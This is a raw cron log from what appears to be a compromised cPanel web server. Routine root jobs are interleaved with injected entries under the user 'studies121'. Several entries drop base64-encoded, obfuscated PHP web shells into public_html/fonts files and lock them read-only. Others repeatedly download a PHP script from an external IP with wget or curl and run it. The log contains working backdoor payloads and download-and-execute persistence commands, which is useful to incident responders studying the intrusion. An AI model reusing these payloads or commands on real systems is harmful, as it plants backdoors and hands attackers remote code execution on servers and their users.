Sep  7 22:33:01 ip-184-168-122-23 CROND[31014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:33:01 ip-184-168-122-23 CROND[31016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:34:01 ip-184-168-122-23 CROND[31092]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:34:01 ip-184-168-122-23 CROND[31093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:34:01 ip-184-168-122-23 CROND[31095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:34:01 ip-184-168-122-23 CROND[31094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:34:01 ip-184-168-122-23 CROND[31096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:35:01 ip-184-168-122-23 CROND[31188]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 22:35:01 ip-184-168-122-23 CROND[31189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:35:01 ip-184-168-122-23 CROND[31190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:35:01 ip-184-168-122-23 CROND[31194]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:35:01 ip-184-168-122-23 CROND[31195]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:35:01 ip-184-168-122-23 CROND[31192]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 22:35:01 ip-184-168-122-23 CROND[31193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:35:01 ip-184-168-122-23 CROND[31191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:36:01 ip-184-168-122-23 CROND[31286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:36:01 ip-184-168-122-23 CROND[31287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:36:01 ip-184-168-122-23 CROND[31288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:36:01 ip-184-168-122-23 CROND[31289]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:36:01 ip-184-168-122-23 CROND[31291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:37:01 ip-184-168-122-23 CROND[31458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:37:01 ip-184-168-122-23 CROND[31460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:37:01 ip-184-168-122-23 CROND[31461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:37:01 ip-184-168-122-23 CROND[31463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:38:02 ip-184-168-122-23 CROND[31556]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:38:02 ip-184-168-122-23 CROND[31559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:38:02 ip-184-168-122-23 CROND[31558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:38:02 ip-184-168-122-23 CROND[31560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:38:02 ip-184-168-122-23 CROND[31561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:39:01 ip-184-168-122-23 CROND[31644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:39:01 ip-184-168-122-23 CROND[31641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:39:01 ip-184-168-122-23 CROND[31646]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 22:39:01 ip-184-168-122-23 CROND[31642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:39:01 ip-184-168-122-23 CROND[31643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:40:01 ip-184-168-122-23 CROND[31733]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:40:01 ip-184-168-122-23 CROND[31738]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 22:40:01 ip-184-168-122-23 CROND[31739]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:40:01 ip-184-168-122-23 CROND[31736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:40:01 ip-184-168-122-23 CROND[31737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:40:01 ip-184-168-122-23 CROND[31735]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:40:01 ip-184-168-122-23 CROND[31740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:40:01 ip-184-168-122-23 CROND[31741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:41:01 ip-184-168-122-23 CROND[31847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:41:01 ip-184-168-122-23 CROND[31849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:41:01 ip-184-168-122-23 CROND[31852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:41:01 ip-184-168-122-23 CROND[31850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:42:01 ip-184-168-122-23 CROND[31934]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:42:01 ip-184-168-122-23 CROND[31935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:42:01 ip-184-168-122-23 CROND[31936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:42:01 ip-184-168-122-23 CROND[31937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:42:01 ip-184-168-122-23 CROND[31938]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:43:01 ip-184-168-122-23 CROND[32100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:43:01 ip-184-168-122-23 CROND[32101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:43:01 ip-184-168-122-23 CROND[32103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:43:01 ip-184-168-122-23 CROND[32105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:44:01 ip-184-168-122-23 CROND[32181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:44:01 ip-184-168-122-23 CROND[32182]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:44:01 ip-184-168-122-23 CROND[32183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:44:01 ip-184-168-122-23 CROND[32184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:44:01 ip-184-168-122-23 CROND[32185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:45:01 ip-184-168-122-23 CROND[32281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:45:01 ip-184-168-122-23 CROND[32283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:45:01 ip-184-168-122-23 CROND[32284]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
